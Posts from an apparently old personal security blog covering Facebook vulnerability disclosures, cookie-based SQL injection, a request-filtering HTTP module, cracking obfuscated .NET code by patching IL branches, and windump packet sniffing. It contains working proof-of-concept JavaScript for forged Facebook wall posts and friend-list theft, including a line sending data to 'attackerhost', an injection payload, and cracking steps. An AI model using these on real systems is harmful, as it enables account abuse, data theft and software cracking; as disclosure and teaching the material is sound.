Welcome to BARMAGY Sign in | Join | Help

Fake Facebook Wall Posts Using FBML

Today while playing around with Facebook markup language (FBML) which is used in Facebook applications I found that through using the tag </fb:wallpost> it’s possible to fake user posts with ease just by using their user id as Facebook don’t validate that if the posts is really originating from the legitimate user so it allows anybody to use FBML to post wall posts to his/her application with the identity of another user. Here is proof of concept FMBL that you can use in your Facebook application

<fb:wall>

  <fb:wallpost uid="[victim id goes here]">

    Fady ownz me

  </fb:wallpost>

</fb:wall>

posted by Fady | 7 Comments

SQL Injection Through Cookies

      Through my career as a developer I’ve seen many developers that are not aware about the possibility of SQL injection through cookies. Cookies in fact is a user input and as any input it must be validated and because normal users don’t see cookies that doesn’t mean attackers won’t temper with it, so developers must always validate cookies the same way they validate any other type of input. I will demonstrate in this article how it’s possible to an attacker to make a SQL injection attack through cookies. Say we have a web application admin page that hashes the admin password and store it in a cookie so next time the admin opens the web application administrator panel web page the application will recognize him/her as admin, the password is hashed in a cookie so it won’t be stored in plain text in cookies which is a bad security practice. So let’s say we have the following code

  protected void Page_Load(object sender, EventArgs e)

    {

        if (Request.Cookies.Get("password_hash") != null)

        {

            //check if the password hash is authentic

            string sql = "select count(id) from admins where password_hash = '" + Request.Cookies.Get("password_hash") + "'";

            //the rest of database access code and admin

            //authentication goes here

        }

        else Response.Redirect("login.aspx");

       

    }

Now the code looks pretty sweet and simple, if there is no cookie the admin will be redirected to the login page else we will check if the password hash exists in the database or not, if yes we will log in the admin if not then the cookie has expired and we will redirect the admin to the login page, the cookie is hashed so if an attacker managed to get it, at least it won’t be in a plain text format and also it’s a hash (i.e. one  way encryption) so the attacker will have a hard time cracking it and anyway by the time the attacker will get the hash it will be expired anyway. And of course there will be a security policy that forces our admin to change the password every 10 days. So now our security plan sounds pretty hard to break.

Our admin cookie should look like this

GET /admin/admins.aspx HTTP/1.1

Accept: */*

Accept-Language: en-us

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)

Proxy-Connection: Keep-Alive

Host: www.host.com

Pragma: no-cache

Cookie: password_hash=d41d8cd98f00b204e9800998ecf8427e

 

But what if an attacker tempered with the cookies and sent us a GET request that looks like this

GET /admin/admins.aspx HTTP/1.1

Accept: */*

Accept-Language: en-us

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)

Proxy-Connection: Keep-Alive

Host: www.host.com

Pragma: no-cache

Cookie: password_hash= SorryIDontHaveYourHash ' or 1=1 --

 

Pay some attention to the cookie line

Cookie: password_hash=SorryIDontHaveYourHash' or 1=1 --

Notice what it has in its end? Now let’s imagine how our SQL query will look like if the attacker did this

select count(id) from admins where password_hash = 'SorryIDontHaveYourHash' or 1=1 --'

This SQL query will return records every time it executes and our application will think that the cookie have a valid password hash although it doesn’t and will log the attacker as the admin. I hope you now understand the dangers that come from not validating your cookies the same as you validate user input. Thanks for reading and I would really appreciate your feedback.

kick it on DotNetKicks.com
posted by Fady | 11 Comments

Facebook Wall Security Vulnerability

In Facebook if a user is logged in with the “Remember Me” option an attacker can make requests on behalf of the user to make wall posts by sending him/her a URL that contains ajax java script code that will call the Facebook services and do the post on behalf of the user using his/her stored credentials in the browser cookies. Facebook actually have anticipated this attack and used a technique that generates a random hash that is used as an authentication token with every request to their services to insure that the request have been done by the user himself and is originating from the Facebook ajax java script, this token is rendered in the Facebook html and must be sent with each request or it will be ignored, but this token can be obtained by the attacker by simply requesting the page first with the user credentials (which is stored on the user machine in browser cookies), then the attacker can proceed with the attack. I’ve written a proof of concept code for this issue. This code if executed by the user it will post the “Proof of Concept” message on the user wall. You can also change the code so it can post on others walls.

<script>

xmlHttp = GetXmlHttpObject()

var url = "http://www.facebook.com"

xmlHttp.onreadystatechange=stateChanged

xmlHttp.open("GET",url,true)

xmlHttp.send(null)

 

function stateChanged()

{

    if (xmlHttp.readyState==4)

    {

            //here we get the current logged in user id

            var user = xmlHttp.responseText.substring(xmlHttp.responseText.indexOf('name="user" value="') + 19, xmlHttp.responseText.indexOf('"', xmlHttp.responseText.indexOf('name="user" value="') + 19))

            //then we get the token hash that must be sent with every request

            var post_form_id = xmlHttp.responseText.substring(xmlHttp.responseText.indexOf('name="post_form_id" value="') + 27, xmlHttp.responseText.indexOf('"', xmlHttp.responseText.indexOf('name="post_form_id" value="') + 27))

            var xmlHttpPost = GetXmlHttpObject()

            xmlHttpPost.open("POST", "http://www.facebook.com/ajax/wallpost_ajax.php", true)

            xmlHttpPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded")

            //we will make a post to the current user wall

            //we can make posts to other users walls too

            //by changing the "to" parameter to another user ID

            xmlHttpPost.send("to=" + user + "&from=" + user + "&wall_text=Proof of Concept&post_form_id=" + post_form_id + "&post_form_id=" + post_form_id)

    }

}

 

function GetXmlHttpObject()

{

  //i didn't add the code to create the XHR object for firefox because

  //it doesn't work on firefox already, if you have time to test this

  //POC with other browsers and it worked please let me know

  var xmlHttp

    try

      {

      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP")

      }

    catch (e)

      {

      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP")

      }

  return xmlHttp

}

 

</script>

 

posted by Fady | 8 Comments

Facebook XSS Vulnerability

Today I was taking a look at the Facebook AJAX java script that is responsible to give suggestions in the search text box you find under the Facebook logo on the left

I found this URL http://www.facebook.com/ajax/typeahead_search.php? hard coded in the following java script

function search_friend_source(get_param)

{

this.parent.construct(this,get_param);

new AsyncRequest().setMethod('GET').setReadOnly(true).setURI('/ajax/typeahead_search.php?'+get_param).setErrorHandler(function(){}).setHandler(function(response){this.values=response.getPayload().entries;this.build_index();}.bind(this)).send();}

at the file http://static.ak.facebook.com/js/typeaheadpro.js?44:75333

Whenever you open that URL from any browser it supplies you with a complete list of all your friends on Facebook in a java script format similar to JSON, it uses your credentials that is stored in your cookies in the browser to authenticate you.

Once I’ve seen it I’ve known instantly that I’ve found a security vulnerability similar to the famous Gmail XSS vulnerability, anybody with proper AJAX knowledge can host a java script on their site to request this page using your credentials and get all your of your Facebook friends list, so I made this proof of concept code to demonstrate the vulnerability

<script>

xmlHttp=GetXmlHttpObject()

var url=http://www.facebook.com/ajax/typeahead_search.php?;

xmlHttp.onreadystatechange=stateChanged;

xmlHttp.open("GET",url,true);

xmlHttp.send(null);

 

function stateChanged()

{

    if (xmlHttp.readyState==4)

    {

        alert(xmlHttp.responseText)

    }

}

 

function GetXmlHttpObject()

{

  //i didn't add the code to create the XHR object for firefox because

  //it doesn't work on firefox already, if you have time to test this

  //POC with other browsers and it worked please let me know

  var xmlHttp=null;

    try

      {

      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

      }

    catch (e)

      {

      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

      }

  return xmlHttp;

}

 

</script>

 

If you opened any web page on the internet that contains that code and you are logged on Facebook at that time (i.e. your browser still have your credentials stored in your cookies) it will show you a message containing the java script return from Facebook with all your friends and there public data like there profile URL and their networks. These data can instead be sent to an attacker and get logged like this

function stateChanged()

{

    if (xmlHttp.readyState==4)

    {

        var xmlHttpLogger=GetXmlHttpObject()

        xmlHttpLogger.open("GET", "http://attackerhost/logger.php?log=" + xmlHttp.responseText, true)

    }

}

So if you opened a page containing this version it will not alert you and instead it will send your Facebook contact list the attacker silently.

I’ve tested this proof of concept only with IE7 and it’s working fine, also I’ve tried it with Firefox and it doesn’t work because of the “same domain security policy” in Firefox.  If you have some time to test it with other browsers please inform me with the results, thanks.

 

kick it on DotNetKicks.com
posted by Fady | 6 Comments

Catch hackers red handed using http modules

      Here is a nice trick to help you to detect hackers in action while trying to hack your web applications. The idea is very simple, we want to set a layer there between your application and the internet to watch the web traffic for anything suspicious. These suspicious things might be a query string that contains a XSS script or a SQL injection query. So we will monitor the web traffic that is passing through that layer for well known and common patterns of attack methods that most hackers use to scan your web applications for vulnerabilities. We will use http modules to implement that layer, here is some dirty code to demonstrate the idea.

using System;

using System.Data;

using System.Configuration;

using System.Web;

using System.Web.Security;

using System.Web.UI;

using System.Web.UI.WebControls;

using System.Web.UI.WebControls.WebParts;

using System.Web.UI.HtmlControls;

using System.Collections.Generic;

 

/// <summary>

/// Summary description for ICanSeeYouHttpModule

/// </summary>

public class ICanSeeYouHttpModule : IHttpModule

{

    private List<string> suspicious = new List<string>();

      public ICanSeeYouHttpModule()

      {

        //we fill our suspicious list with every string or character

        //we find it not normal to use in our application web requests

        suspicious.Add("select"); //for sql injection

        suspicious.Add("update");

        suspicious.Add("insert");

        suspicious.Add("delete");

        suspicious.Add("drop");

        suspicious.Add("<script"); //for xss

        suspicious.Add("'"); //for sql injection too

        suspicious.Add(";"); //might be used in both xss java scripts or sql injections

        //use your imagination for the rest :)

      }

    public String ModuleName

    {

        get { return "ICanSeeYouHttpModule"; }

    }

    public void Init(HttpApplication application)

    {

        application.BeginRequest += new EventHandler(application_BeginRequest);

    }

 

    void application_BeginRequest(object sender, EventArgs e)

    {

        HttpApplication application = (HttpApplication)sender;

        HttpContext context = application.Context;

        if (!Check(context.Request.RawUrl))

        {

            LogAndAlertTheAdmin(context.Request);

            //you can also put some intimidating message here ;)

            context.Response.Write("i can see u");

            //or you can fake a decoy error message to

            //let the attacker continue his scan while

            //not aware that you already know about it,

            //so you can know more about her/him and

            //her/his attack techniques

        }

    }

    private bool Check(string url)

    {

        //we will check our url for the suspicious stuff

        foreach (string keyword in suspicious)

            if (url.ToLower().Contains(keyword))

                return false;

        return true;

    }

    private void LogAndAlertTheAdmin(HttpRequest request)

    {

        //fill here your favorite logging method

        //you can use any available info about

        //the attacker in the request object

    }

    public void Dispose()

    {

    }

 

}

 

Ofcourse the previous code is just for demonostration sake and not intended to be perfect, to use this http module for your web application all what you have to do is to add this in your configuration file under <system.web>

 

  <httpModules>

      <add name="ICanSeeYouHttpModule" type="ICanSeeYouHttpModule"/>

  </httpModules>

 

Enjoy ;)

 

kick it on DotNetKicks.com
posted by Fady | 7 Comments

The most common software security mistakes

Through my humble experience with software development I’ve seen developers making fetal security mistakes without even feeling that they are doing something wrong. So I’ve decided to gather these common mistakes in a list so it would be easier to avoid. Through this article I will give examples regardless to the used technology but the concepts applies to all technologies. So here we go

1.       Don’t hide confidential information within your code: whatever you do don’t rely on hiding information within your code because as long your code is distributed to the client then the client might do with it as s/he wishes, which includes disassembling or decompiling your code and obtaining your confidential information. The kind of confidential information that you shouldn’t hide within your code might include but is not limited to passwords, user names, connections strings, IP addresses, domain names, symmetric encryption algorithms and of course  symmetric encryption keys. And of course don’t rely on obfuscation.

2.       Don’t forget to validate user input: sounds obvious but most developers think that user input is only limited to the user controls like text boxes and submit buttons but that is not true. User input might include but not limited to server requests, browser cookies, query strings and post requests. If you are expecting a zip code entered by the user then the user won’t need special characters like (!@#$%^&*()”’;:<>) so your application must not accept them. If the user will send you a request with an integer id in the query string then you don’t need negative values so your application must not accept them. SQL injection attacks and privileges escalations might happen through cookies if you don’t validate its content properly before processing it.

3.       Don’t validate input at the client side: for example in web applications don’t validate user input using java script because the user might disable java script in his/her browser. In case of windows applications the user might be able to reverse engineer the application and reverse the validation algorithm to pass the unwanted input.

4.       Don’t send confidential information to the client side: if you send any confidential information like network credentials to the client side then the user might be able to intercept it using any means like packet sniffing and analyze it to use it to access your resources unauthorized.

5.       Don’t send user confidential data on a network without encryption: if you are sending your user credentials or any other critical data on any sort of network you better encrypt the whole connection so no one would be able to intercept the connection and extract the confidential information from it. For web applications SSL would be sufficient for non critical applications.

6.       Don’t send data to host without confirming it’s the legitimate host: for example don’t authenticate on a server without confirming it’s the legitimate one because it might be just a trap to gather your users’ credentials. Basically this is easily done with the use of Active Directory as a 3rd party to authenticate both parties and confirm for each one that the other party is the legitimate one.

7.       Don’t save any confidential information at the client side: if you saved user passwords on his/her machine and it got compromised then the attacker would obtain the user passwords with ease, so you should always encrypt any confidential data when saving it at the client side to avoid this from happening.

8.       Don’t be selfish and protect your user not only your system: most developers think always that the users are always the bad guys whom are trying to penetrate and bring down the system but it’s rarely when you find developers that think of users as victims whom might get attacked with the use of there system. XSS attacks proves this.

9.       Don’t be optimistic: don’t remove security validations because the current part is only accessed by admins, the admin account maybe highjacked and used to control the whole system that is running your application.

10.   Be paranoid: always think the worst. The more your system is critical and you want it to be secure the more you must be paranoid. Always plan for the worst, for example consider if your servers got compromised so how are you going to protect your users confidential data? What if your servers got flooded or your connections were down? What if your users got hacked and there credentials were stolen? What if your network was penetrated and what if your traffic was filtered? You must always ask your self the worst questions while designing the security schemes of your application.

Thanks for reading and I wish you have enjoyed this article. I would like to hear your opinions so your comments and feedbacks would be really appreciated.

kick it on DotNetKicks.com
posted by Fady | 17 Comments

Don’t rely on obfuscation

Managed code unlike native code have been known to be easily decompiled to it’s source code easing its reverse engineering thus giving the need to what we call obfuscation to change the managed code after compiling it in a way that makes decompilers obsolete and makes decompiling it useless as the decompilation will generate garbage code that can’t be understood or compiled again after modifying it. Obfuscation is mostly done with renaming the names of classes, methods and variables into random names rendering it unreadable when it’s decompiled and in the case of some obfuscators the output obfuscated application when decompiled generate a code that gives build errors when being compiled again. But although obfuscation sometimes proves to be efficient, it has major weakness and limitations that makes relying on it is not a good decision.

For the sake of demonstration in this article I’m going to use C# .net as my managed code and preemptive dotfuscator that comes as a community edition with Microsoft Visual Studio will be my obfuscation tool.

Say that we have this application that checks if the user is authenticated or not before doing an action

  private void btnSubmit_Click(object sender, EventArgs e)

        {

            //we authenticate the user here using the method Authenticate()

            if (Authenticate())

            {

                //if the user credential is valid then...

                MessageBox.Show("access granted");

                this.Run();

               

            }

            else

            {

                //else we kick him/her out

                MessageBox.Show("invalid credentials");

                this.Close();

            }

        }

So when we obfuscate this code and try to decompile it we get (I use Lutz reflector to do the decompile)

private void a(object A_0, EventArgs A_1)

{

    if (this.c())

    {

        MessageBox.Show("access granted");

        this.b();

    }

    else

    {

        MessageBox.Show("invalid credentials");

        base.Close();

    }

}

 

As it’s obvious most of the code have been renamed but the messages strings are untouched also the .net framework used classes and methods like MessageBox class and Show() method still not renamed which is a big problem, compiling the resulting code from decompiling obfuscated code might result build time errors because the obfuscated code might have the same names for methods and classes but this isn’t the same for IL (intermediate language) so if we simply used ildasm to disassemble the exe assembly for this application we will get this

 

C:\Program Files\Microsoft Visual Studio 8\VC>ildasm C:\Dotfuscated\password.exe /out=c:\password.il

 

.method private hidebysig instance void

          a(object A_0,

            class [mscorlib]System.EventArgs A_1) cil managed

  {

    // Code size       44 (0x2c)

    .maxstack  8

    IL_0000:  ldarg.0

    IL_0001:  call       instance bool a::c()

    IL_0006:  brfalse.s  IL_001a

 

    IL_0008:  ldstr      "access granted"

    IL_000d:  call       valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)

    IL_0012:  pop

    IL_0013:  ldarg.0

    IL_0014:  call       instance void a::b()

    IL_0019:  ret

 

    IL_001a:  ldstr      "invalid credentials"

    IL_001f:  call       valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)

    IL_0024:  pop

    IL_0025:  ldarg.0

    IL_0026:  call       instance void [System.Windows.Forms]System.Windows.Forms.Form::Close()

    IL_002b:  ret

  } // end of method a::a

 

As we can see again that our messages string is written in plain text also the used .net framework namespaces and here comes our message box again System.Windows.Forms.MessageBox::Show(string)

So what the problem in this? The problem that the old cracking techniques that were used with win32 applications can still be applied to .net assemblies very easily, so if I’m an experienced cracker I would disassemble this application into IL and search for the “invalid credentials” string that shows in my face every time I write in an invalid password and look up a few lines till I find the branching statement at line IL_0006 and easily I would change from brfalse to brtrue and build the application using ilasm

 

C:\Program Files\Microsoft Visual Studio 8\VC>ilasm c:\password.il /out=c:\password.exe

 

So next time I run the new built application when I supply an invalid user name and password I will get the welcome message saying “access granted” instead of being kicked out. And as it’s very obvious the same can be applied for cracking license keys and similar stuff.

But that was because my current obfuscation tool didn’t obfuscate the messages strings, right? So what if we obfuscate every available string in my application too, I will be doing this using the evaluation version of dotfuscator which have a feature called “string encryption” which personally I don’t consider encryption rather than ecoding or obfuscation because you can’t encrypt things and supply the encryption algorithm and key with it. So here is the disassemebled code after the string obfuscation

 

.method private hidebysig instance void

          eval_a(object A_0,

                 class [mscorlib]System.EventArgs A_1) cil managed

  {

    // Code size       71 (0x47)

    .maxstack  9

    .locals init (int32 V_0)

    IL_0000:  ldc.i4     0x3

    IL_0005:  stloc      V_0

    IL_0009:  ldarg.0

    IL_000a:  call       instance bool eval_a::eval_c()

    IL_000f:  brfalse.s  IL_002c

 

    IL_0011:  ldstr      bytearray (F0 90 F2 90 F4 96 F6 92 F8 8A FA 88 FC DD FE 98

                                    00 73 02 62 04 6B 06 73 08 6C 0A 6F )             // .s.b.k.s.l.o

    IL_0016:  ldloc      V_0

    IL_001a:  call       string a$PST06000001(string,

                                              int32)

    IL_001f:  call       valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)

    IL_0024:  pop

    IL_0025:  ldarg.0

    IL_0026:  call       instance void eval_a::b()

    IL_002b:  ret

 

    IL_002c:  ldstr      bytearray (F0 98 F2 9D F4 83 F6 96 F8 95 FA 92 FC 99 FE DF

                                    00 62 02 71 04 60 06 63 08 6C 0A 65 0C 79 0E 66   // .b.q.`.c.l.e.y.f

                                    10 70 12 7F 14 66 )                               // .p...f

    IL_0031:  ldloc      V_0

    IL_0035:  call       string a$PST06000001(string,

                                              int32)

    IL_003a:  call       valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)

    IL_003f:  pop

    IL_0040:  ldarg.0

    IL_0041:  call       instance void [System.Windows.Forms]System.Windows.Forms.Form::Close()

    IL_0046:  ret

  } // end of method eval_a::eval_a

 

Note: the “eval” prefix is because I’m using an evaluation version of the dotfuscator

 

As we can see all of the strings have been obfuscated, but still all the .net framework used classes and methods names still in plain text and readable to anyone and that is because you can obfuscate anything but the .net framework namespaces, classes and methods because if you obfuscated there names how you are going to call them on your user machine?

so again if I’m an experienced cracker and I know what I’m looking for I will be looking for the most rare .net framework methods and classes that have been called within this application, for example the MessageBox is a very good example also the Form::Close() is another good option so I would search for them in the new IL and again look up for a few lines searching for the branching statement till I find it at line IL_000f and again I will change it from brfalse to brtrue and build again my application using ilasm and when I run it I will get another access granted message and as you can see it took me only 5 minutes

 

but that because the application flow was so clear and it wasn’t obfuscated, right? So what if we obfuscate the application flow too using the “Control Flow obfuscation” feature in dotfuscator? The output IL is going to look like this

 

.method private hidebysig instance void

          eval_a(object A_0,

                 class [mscorlib]System.EventArgs A_1) cil managed

  {

    // Code size       81 (0x51)

    .maxstack  2

    .locals init (int32 V_0)

    IL_0000:  ldc.i4     0xa

    IL_0005:  stloc      V_0

    IL_0009:  ldarg.0

    IL_000a:  call       instance bool eval_a::eval_c()

    IL_000f:  brfalse.s  IL_0036

 

    IL_0011:  ldc.i4.1

    IL_0012:  br.s       IL_0017

 

    IL_0014:  ldc.i4.0

    IL_0015:  br.s       IL_0017

 

    IL_0017:  brfalse.s  IL_0019

 

    IL_0019:  br.s       IL_001b

 

    IL_001b:  ldstr      bytearray (57 39 59 39 5B 3F 5D 3B 5F 13 61 11 63 44 65 01   // W9Y9[?];_.a.cDe.

                                    67 1A 69 0B 6B 02 6D 1A 6F 15 71 16 )             // g.i.k.m.o.q.

    IL_0020:  ldloc      V_0

    IL_0024:  call       string a$PST06000001(string,

                                              int32)

    IL_0029:  call       valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)

    IL_002e:  pop

    IL_002f:  ldarg.0

    IL_0030:  call       instance void eval_a::b()

    IL_0035:  ret

 

    IL_0036:  ldstr      bytearray (57 31 59 34 5B 2A 5D 3F 5F 0C 61 0B 63 00 65 46   // W1Y4[*]?_.a.c.eF

                                    67 0B 69 18 6B 09 6D 0A 6F 15 71 1C 73 00 75 1F   // g.i.k.m.o.q.s.u.

                                    77 19 79 16 7B 0F )                               // w.y.{.

    IL_003b:  ldloc      V_0

    IL_003f:  call       string a$PST06000001(string,

                                              int32)

    IL_0044:  call       valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)

    IL_0049:  pop

    IL_004a:  ldarg.0

    IL_004b:  call       instance void [System.Windows.Forms]System.Windows.Forms.Form::Close()

    IL_0050:  ret

  } // end of method eval_a::eval_a

 

So as we so now there lots of branches but with the bare eye inspection all of them are pointing to other branches that also is pointing to another one till they reach the real branch also with bare eye inspection none of them have condition they just branch so it would be very easy to spot the real branch that we are seeking at line IL_000f and do the same again by changing the condition from false to true and build the application and again we will get the previous result.

 

But that because the code isn’t complex enough, what if we made the code a little bit more complex and used the previous way to obfuscate it?

So a code that looks like this

 

private void btnSubmit_Click(object sender, EventArgs e)

        {

 

            if (CheckConnection())

            {

                if (CheckDB())

                {

                    //we authenticate the user here using the method Authenticate()

                    if (Authenticate())

                    {

                        //if the user credential is valid then...

                        MessageBox.Show("access granted");

                        this.Run();

 

                    }

                    else

                    {

                        //else we kick him out

                        MessageBox.Show("invalid credentials");

                        this.Close();

                    }

                }

            }

        }

 

Would look like this after disassembling it

 

.method private hidebysig instance void

          eval_a(object A_0,

                 class [mscorlib]System.EventArgs A_1) cil managed

  {

    // Code size       81 (0x51)

    .maxstack  2

    .locals init (int32 V_0)

    IL_0000:  ldc.i4     0xa

    IL_0005:  stloc      V_0

    IL_0009:  ldarg.0

    IL_000a:  call       instance bool eval_a::eval_c()

    IL_000f:  brtrue.s  IL_0036

 

    IL_0011:  ldc.i4.1

    IL_0012:  br.s       IL_0017

 

    IL_0014:  ldc.i4.0

    IL_0015:  br.s       IL_0017

 

    IL_0017:  brfalse.s  IL_0019

 

    IL_0019:  br.s       IL_001b

 

    IL_001b:  ldstr      bytearray (57 39 59 39 5B 3F 5D 3B 5F 13 61 11 63 44 65 01   // W9Y9[?];_.a.cDe.

                                    67 1A 69 0B 6B 02 6D 1A 6F 15 71 16 )             // g.i.k.m.o.q.

    IL_0020:  ldloc      V_0

    IL_0024:  call       string a$PST06000001(string,

                                              int32)

    IL_0029:  call       valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)

    IL_002e:  pop

    IL_002f:  ldarg.0

    IL_0030:  call       instance void eval_a::b()

    IL_0035:  ret

 

    IL_0036:  ldstr      bytearray (57 31 59 34 5B 2A 5D 3F 5F 0C 61 0B 63 00 65 46   // W1Y4[*]?_.a.c.eF

                                    67 0B 69 18 6B 09 6D 0A 6F 15 71 1C 73 00 75 1F   // g.i.k.m.o.q.s.u.

                                    77 19 79 16 7B 0F )                               // w.y.{.

    IL_003b:  ldloc      V_0

    IL_003f:  call       string a$PST06000001(string,

                                              int32)

    IL_0044:  call       valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)

    IL_0049:  pop

    IL_004a:  ldarg.0

    IL_004b:  call       instance void [System.Windows.Forms]System.Windows.Forms.Form::Close()

    IL_0050:  ret

  } // end of method eval_a::eval_a

 

This time it’s harder to crack it but with bare eye inspection we can see there are only 2 conditioned branches at lines IL_000f and IL_0017 before where I found the Form::Close() method, so I can try my luck with them or I would just change the 1st one before where I found the Form::Close() method and the MessageBox::Show(string) method and build the application again and again I get another access granted message.

 

So what is the conclusion?

Well, obfuscation is a good way to protect our intellectual properties and it’s better than just leaving our confidential information in plain text, but as I’ve just demonstrated through this article we can’t rely on obfuscation to protect our applications as I’ve demonstrated how it’s easy to crack any application that is relying only on obfuscation for protection, and i did it without any special tools in only a few minutes.

 

Thanks for reading and I’m waiting for your comments and feedback

 

kick it on DotNetKicks.com

Add to Technorati Favorites

posted by Fady | 40 Comments

An Intro about Packet Sniffing

Ever wondered about what is happening on your network? Ever wondered about what is a certain piece of software is sending over you NIC? Ever wondered about some closed source code application communication protocol? Do you want to make sure if that application is communicating your data over internet securely or not? Well, you can stop wondering now and start packet sniffing your network traffic. Packet sniffing is what we call the act of intercepting packets on the network and extracting its content so we can analyze it as we are going to do now in this little demonstration, in the following lines I’m going to show you how to intercept packets and extract its data and my tool of choice is going to be windump the windows clone of tcpdump. Windump is a tool that you can run from command line but before running it you have to make sure that you have the latest WinPcap (Windows packet capture library) you can download the library from here and the windump from here

Now after we have got what we need let’s start playing ;) 1st of all you to need to know the available adapters names on your machine you can do this by using the D parameter like this

C:\Documents and Settings\Fady Anwar\My Documents>windump –D

1.\Device\NPF_GenericDialupAdapter (Adapter for generic dialup and VPN capture)

2.\Device\NPF_{77CA943D-EF42-4CAD-BB99-1D1BAE8E9B4B} (Intel(R) PRO/100 VE Network Connection (Microsoft's Packet Scheduler) )

As we can see I’ve two available adapters on my machine

So now after we have the available adapters names we can start sniffing the packets by choosing one of them by its number like this

C:\Documents and Settings\Fady Anwar\My Documents>windump -i 2

windump: listening on \Device\NPF_{77CA943D-EF42-4CAD-BB99-1D1BAE8E9B4B}

02:26:28.388643 IP IBM.7666 > nf-in-f147.google.com.80: P 2925410720:2925411123(

403) ack 469025486 win 65535

02:26:28.543476 IP nf-in-f147.google.com.80 > IBM.7666: . ack 403 win 6432

02:26:28.586341 IP nf-in-f147.google.com.80 > IBM.7666: P 1431:2533(1102) ack 40

3 win 6432

02:26:28.586383 IP IBM.7666 > nf-in-f147.google.com.80: . ack 1 win 65535

02:26:28.637503 IP nf-in-f147.google.com.80 > IBM.7666: . 1:1431(1430) ack 403 w

in 6432

win 7518

02:26:29.379247 IP IBM.7668 > nf-in-f147.google.com.80: . ack 255 win 65281

02:26:34.762895 IP IBM.6668 > by1msg2145218.phx.gbl.1863: P 488552315:488552434(

119) ack 3415622566 win 64202

02:26:35.057017 IP by1msg2145218.phx.gbl.1863 > IBM.6668: P 1:14(13) ack 119 win

 65297

02:26:35.197705 IP IBM.6668 > by1msg2145218.phx.gbl.1863: . ack 14 win 64189

02:26:35.373364 IP by1msg2145218.phx.gbl.1863 > IBM.6668: P 14:135(121) ack 119

win 65297

02:26:35.498662 IP IBM.6668 > by1msg2145218.phx.gbl.1863: . ack 135 win 65535

I’ve chosen my Ethernet network adapter because it’s the one I’m using now while writing this article and as we can see we can see dome packets going and coming between my machine (IBM) and google and also some packets are exchanged between my machine and msn servers, we can see the ports and we can see the hosts names and also the type stamp but wait where is the data? Well let’s try the A parameter (take care parameters are case sensitive)

C:\Documents and Settings\Fady Anwar\My Documents>windump -i 2 -A

windump: listening on \Device\NPF_{77CA943D-EF42-4CAD-BB99-1D1BAE8E9B4B}

02:32:37.648479 IP IBM.6669 > cs42.msg.dcn.yahoo.com.80: P 4187868820:4187868854

(34) ack 366682989 win 65109

.P......#mP..U3H..YMSG.............S..0..fady911x...

02:32:37.963986 IP cs42.msg.dcn.yahoo.com.80 > IBM.6669: . ack 34 win 65535

..#m....P...7..........

02:32:38.630195 IP IBM.2922 > 192.168.1.254.53:  43858+ PTR? 169.193.155.216.in-

addr.arpa. (46)

E..J...........d.....j.5.6...R...........169.193.155.216.in-addr.arpa.....

02:32:38.762498 IP 192.168.1.254.53 > IBM.2922:  43858 1/0/0 (82)

E..n..@............d.5.j.Z...R...........169.193.155.216.in-addr.arpa...........

..

02:32:39.792749 IP IBM.137 > 192.168.1.254.137: UDP, length 50

E..N...........d.........:.............. CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..!..

02:32:41.293053 IP IBM.137 > 192.168.1.254.137: UDP, length 50

E..N...........d.........:.............. CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..!..

02:32:42.793842 IP IBM.137 > 192.168.1.254.137: UDP, length 50

E..N...........d.........:.............. CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..!..

02:32:42.807436 IP IBM.7644 > ik-in-f83.google.com.80: . 843874477:843875937(146

0) ack 3178211243 win 64691

E.....@........dB.[S...P2L...o..P.......POST /mail/channel/bind?at=89efb89bc308e

74

02:32:42.807468 IP IBM.7644 > ik-in-f83.google.com.80: P 1460:1647(187) ack 1 wi

n 64691

E.....@........dB.[S...P2L.a.o..P...A...1:S=Cz4teXOfD6Vd2qZB; S=gmail=JwxKo2gP3d

Well, here is more data but this time with content and as we can see in the end of it my machine was sending a post request to google probably by some ajax script also there was some data exchanged between my yahoo messenger and the yahoo server but wait this data is so much what If I want to scope down on only http requests? Well, this can be done using expressions here is how

C:\Documents and Settings\Fady Anwar\My Documents>windump -i 2 -A port 80

windump: listening on \Device\NPF_{77CA943D-EF42-4CAD-BB99-1D1BAE8E9B4B}

02:40:05.481417 IP IBM.7644 > ik-in-f83.google.com.80: . 843986401:843987861(146

0) ack 3178216323 win 64693

E....d@....^...dB.[S...P2N5..o..P.......GET /mail/?ik=d820ffc07b&view=tl&search=

in

02:40:05.481448 IP IBM.7644 > ik-in-f83.google.com.80: P 1460:1574(114) ack 1 wi

n 64693

E....e@........dB.[S...P2N;..o..P...S...MD3X1ShCi0g:gmproxy=vK8LcsK7DhY:gmproxy_

yj

02:40:05.671791 IP ik-in-f83.google.com.80 > IBM.7644: . ack 1574 win 6616

E..(M.......B.[S...d.P...o..2N<.P...0/........

